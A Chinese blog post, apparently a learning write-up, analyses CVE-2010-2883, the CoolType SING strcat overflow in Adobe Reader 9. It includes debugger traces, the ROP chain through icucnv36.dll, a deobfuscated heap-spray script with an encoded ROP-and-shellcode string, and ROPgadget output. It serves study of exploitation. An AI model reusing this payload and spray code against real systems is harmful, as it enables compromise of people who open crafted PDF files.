漏洞分析学习之cve-2010-2883
前言
打ctf打久了,也该学学漏洞分析了,不可能以后的工作就是打ctf吧,照着漏洞战争这本书开始学习吧
环境配置
adobe_reader_9.0_download
win_xp_sp3
vmware 自己下吧
工具:
- 吾爱破解od
- 010editor
- PdfStreamDumper
配好环境后 开始动工
样本生成
先生成一个弹calc的吧
1 | search adobe_cooltype_sing |
放到虚拟机
运行起来
分析
漏洞点查找
如果让我审一个软件的话,这太难了。。光敏感函数都可能有好多吧,比如这里就是strcat,
这个strcat是个敏感函数,让我纯手动审出这个点,我觉得对于现在的我来说不现实,所以,漏洞点这部分直接过了吧,假设已知漏洞点,利用吧
漏洞利用
玩惯了ctf, 通常pwn题就是给个exp就可以一把梭,编写exp也是门艺术,那是python语言,现在这个要产生exp,emm,就是用msf这个框架了,我们要生成一个pdf,方便我们利用,所以开始我们的学习旅程吧,学ruby,学js
发觉从头开始构造太难了,直接分析部分代码吧,我看了下pdf构造部分。。好麻烦,所以应该抽丝剥茧,将pdf构造和原理部分分开,
我这边只分析下ROP链过程,因为我只会这部分,pdf构造还不会
至于pdf部分,还是用现成的吧。。还要看官方文档来构造
ROP链
用ida打开CoolType.dll库(这个库在adobe_reader目录下),搜索SING,定位到这个函数,看到strcat,盲猜也是这里有问题了,
其余具体漏洞战争那本书已经讲了,照着样本分析部分做一遍
010editor可以设置模板解析文件,网上下个模板就行
下载地址
dump出结构数据,查看SING部分
根据ida那里获得的地址下断,
断在这里,
看strcat部分,是将恶意数据复制到ebp所指地点
继续f8单步,单步到这里执行直接弹计算器了,下断再次运行,这里如果弹到7C地址处,可以按减号回退到地址处
0803DDA8 E8 E98DFDFF call CoolType.08016B96
再次运行在
08016C0E E8 C64E0000 call CoolType.0801BAD9
这里跑起来了,继续重复
0801BAF9 FF10 call dword ptr ds:[eax] ; CoolType.0808AFCE
再次重复
最后定位到这里
0808B1C0 FF10 call dword ptr ds:[eax] ; icucnv36.4A80CB38
F7进去
4A80CB38 81C5 94070000 add ebp,0x794
4A80CB3E |. C9 leave
4A80CB3F . C3 retn
发觉进行了栈底的提高,
发觉这个栈迁移到我们原来写入的地方了
也就是说我们控制了eip,从图中还可以看出,这是c++的虚表攻击,覆盖了虚表指针,让他跳转到这里,然后进行了栈迁移
这里在将栈迁移到0x0C0C0C0C部分,很容易联想到heap spray,大概就是将eip转到对去的0x0C0C0C0C部分,然后用js申请大量堆内存,并且包含着slide(滑板)和shellcode的内存片,申请的内存超过200M就可以大于0x0C0C0C0C,然后通过滑板对shellcode无影响,提高shellcode命中执行率
后面继续执行创建临时文件
└──╼ $strings icucnv36.dll|grep iso
iso-ir-165
iso88591
iso2022
这里从库中存的取出任意都行,不一定得iso这个,不过可能这个好找?
然后执行函数,参数都放栈里了
后面的函数同理可得
创建CreateFileMap
接着MapViewOfFile
在接下去memcpy
然后是shellcode
映射部分
createfilemapping 用来建立内存映象文件,原型如下:
HANDLE CreateFileMapping(
HANDLE hFile, //文件句柄
LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // 可选安全属性
DWORD flProtect, // 映象文件保护方式
DWORD dwMaximumSizeHigh, // 映象文件区域的底值
DWORD dwMaximumSizeLow, // 映象文件区域的顶值
LPCTSTR lpName // 映象文件的名字 );
mapviewoffile用来访问映象文件,该函数会返回一个指向共享内存块的特定指针。原型如下:
LPVOID MapViewOfFile(
HANDLE hFileMappingObject, // 映象文件句柄
DWORD dwDesiredAccess, // 访问方式
DWORD dwFileOffsetHigh, // 映象文件区域的底值
DWORD dwFileOffsetLow, // 映象文件区域的顶值
DWORD dwNumberOfBytesToMap // 映射字节数 );
其中如果 dwNumberOfBytesToMap 是0,表示映射整个文件。
然后在复制shellcode
整个攻击流程就是通过strcat溢出,攻击虚表指针,然后通过ROP,移动到我们的栈位置,在通过栈迁移,移动到0x0C0C0C0C部分(联想到堆喷射),在接着就是通过ROP执行shellcode,整体流程就是这样
动态复现部分就是这样
heap spray
通过PdfStreamDumper dump出js数据
1 | var kQaZHCkIwASUmfcZmiIDLaVOqfgXDNAZipbOhbFhZFgjkCy = unescape; |
emm, msf生成的这个变量命名有点长啊,不过大概还是能看懂的,毕竟这种命名规范逆向都遇到过。。。
将他解成易懂的代码吧
1 | var a = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ud0d9%u74d9%uf424%u295b%ub1c9%ub831%ucdd3%ub89c%u4331%u0318%u1843%uc383%u2fd7%u4469%u2d3f%ub592%u52bf%u501a%u528e%u1078%u62a0%u740a%u084c%u6d5e%u7cc7%u8277%uca60%uada1%u6771%uac91%u7af1%u0ec6%ub4c8%u4e1b%ua80d%u02d6%ua6c6%ub345%uf263%u3855%u123f%uddde%u15f7%u73cf%u4f8c%u72cf%ue441%u6d46%uc186%u0611%ubd7c%ucea3%u3e4d%u2f0f%ucd62%u7751%u2e44%u8124%ud3b7%u563f%u0fca%u4db5%udb6c%uaa6d%u088d%u39eb%ue581%u657f%uf885%u1dac%u71b1%uf253%uc130%ud670%u9119%u4f19%u74c7%u8f25%u29a8%udb83%u3d44%u81be%uc002%ubc4c%uc260%ubf4e%uabd4%u347f%uacbb%u9f7f%u43f8%u82ca%ucba8%u5693%u91e9%u8d23%uac2d%u24a7%u4bcd%u4cb7%u10c8%ubc7f%u09a0%uc2ea%u2917%ua13f%ub9f6%u08a3%u399d%u5541' ); |
我这命名规范别喷了。。。我也知道菜。不知道命名成啥
b就是0x0C0C0C0C,滑板来的,代码就是or al,0x0c,这种滑板
emm
顺便分析下吧,
1 | while(b.length + 20 + 8 < 0x10000) b+=b; |
这部分,就是计算到1/10mb,这里以1/10mb为一个单元块,在减掉结构部分大小,加上shellcode
然后在填充8份
1 | while(d.length < 0x80000) d += d; |
最后便是关键
1 | for(i=0; i < 0x1f0; i++) array[i] = e + "s" |
这里是以0x80000为一个单位块
1 | 0x80000*0x1f0) hex( |
所以这里实际上早就超过了0x0C0C0C0C,所以只要ROP迁移到这里,就可以执行shellcode的了
思考
- 假设给你一个恶意pdf,如何快速分析找到漏洞点?
- 如何进行修复
第一个问题,我目前只会找敏感函数,所以暂时放着了
第二个修复部分,用strncat就可以了,带长度的,后面修复就是通过strncat加上动态分配,这样就没有栈溢出了
总结
- 我觉得难的部分还是pdf的构造。我不会构造这部分,emm
- rop部分一样可以用ROPgadget获得
└──╼ $ROPgadget –binary icucnv36.dll | grep ‘add ebp’
0x4a805afc : add al, 0 ; add ebp, 0x1fc ; leave ; ret
0x4a82748c : add al, 0x75 ; add ebp, dword ptr [edx + 2] ; pop eax ; ret
0x4a8221c2 : add al, byte ptr [eax] ; add ebp, 0x104 ; leave ; ret 4
0x4a81fba6 : add al, byte ptr [eax] ; add ebp, 0x148 ; leave ; ret
0x4a81fe1a : add al, byte ptr [eax] ; add ebp, 0x160 ; leave ; ret
0x4a8225b1 : add al, byte ptr [eax] ; add ebp, 0x18c ; leave ; ret
0x4a82683d : add al, byte ptr [eax] ; add ebp, 0x394 ; leave ; ret
0x4a8241b7 : add al, byte ptr [eax] ; add ebp, 0x3a0 ; leave ; ret
0x4a825227 : add al, byte ptr [eax] ; add ebp, 0x60 ; leave ; ret
0x4a82038e : add al, byte ptr [eax] ; add ebp, 0x64 ; leave ; ret
0x4a825011 : add al, byte ptr [eax] ; add ebp, 0x6c ; leave ; ret
0x4a8239f5 : add al, byte ptr [eax] ; add ebp, 0x6c ; leave ; ret 0xc
0x4a82391a : add al, byte ptr [eax] ; add ebp, 0x70 ; leave ; ret 8
0x4a82536d : add al, byte ptr [eax] ; add ebp, 0x78 ; leave ; ret
0x4a8233a0 : add al, byte ptr [eax] ; add ebp, 0x84 ; leave ; ret
0x4a82365f : add al, byte ptr [eax] ; add ebp, 0x88 ; leave ; ret
0x4a825594 : add al, byte ptr [eax] ; add ebp, 0x90 ; leave ; ret
0x4a826235 : add al, byte ptr [eax] ; add ebp, 0xb0 ; leave ; ret
0x4a83892d : add byte ptr [eax], al ; add ebp, 0x18c ; leave ; ret 0xc
0x4a84126f : add byte ptr [eax], al ; add ebp, 0x210 ; leave ; ret
0x4a84040c : add byte ptr [eax], al ; add ebp, 0x398 ; leave ; ret 0x18
0x4a83bf56 : add byte ptr [eax], al ; add ebp, 0x474 ; leave ; ret
0x4a841791 : add byte ptr [eax], al ; add ebp, 0x60 ; leave ; ret
0x4a83989a : add byte ptr [eax], al ; add ebp, 0x64 ; leave ; ret 0x14
0x4a83909d : add byte ptr [eax], al ; add ebp, 0xc0 ; leave ; ret 4
0x4a827f19 : add dword ptr [eax], eax ; add ebp, 0x17c ; leave ; ret
0x4a828f1f : add dword ptr [eax], eax ; add ebp, 0x1cb4 ; leave ; ret
0x4a82b5f2 : add dword ptr [eax], eax ; add ebp, 0x264 ; leave ; ret 0xc
0x4a82b10e : add dword ptr [eax], eax ; add ebp, 0x40c ; leave ; ret 0x18 - 至于攻击过程,这是以前洞的一个常见思路,创建临时文件,然后内存映射,最后复制shellcode
- pdf构造可以参考 参考链接中的安全客师傅发的
参考链接
深入浅出讲pdf恶意文档
PDF, Let Me Count the Ways…
安全客师傅分析
本文作者:NoOne
本文地址: https://noonegroup.xyz/posts/78c3679c/
版权声明:转载请注明出处!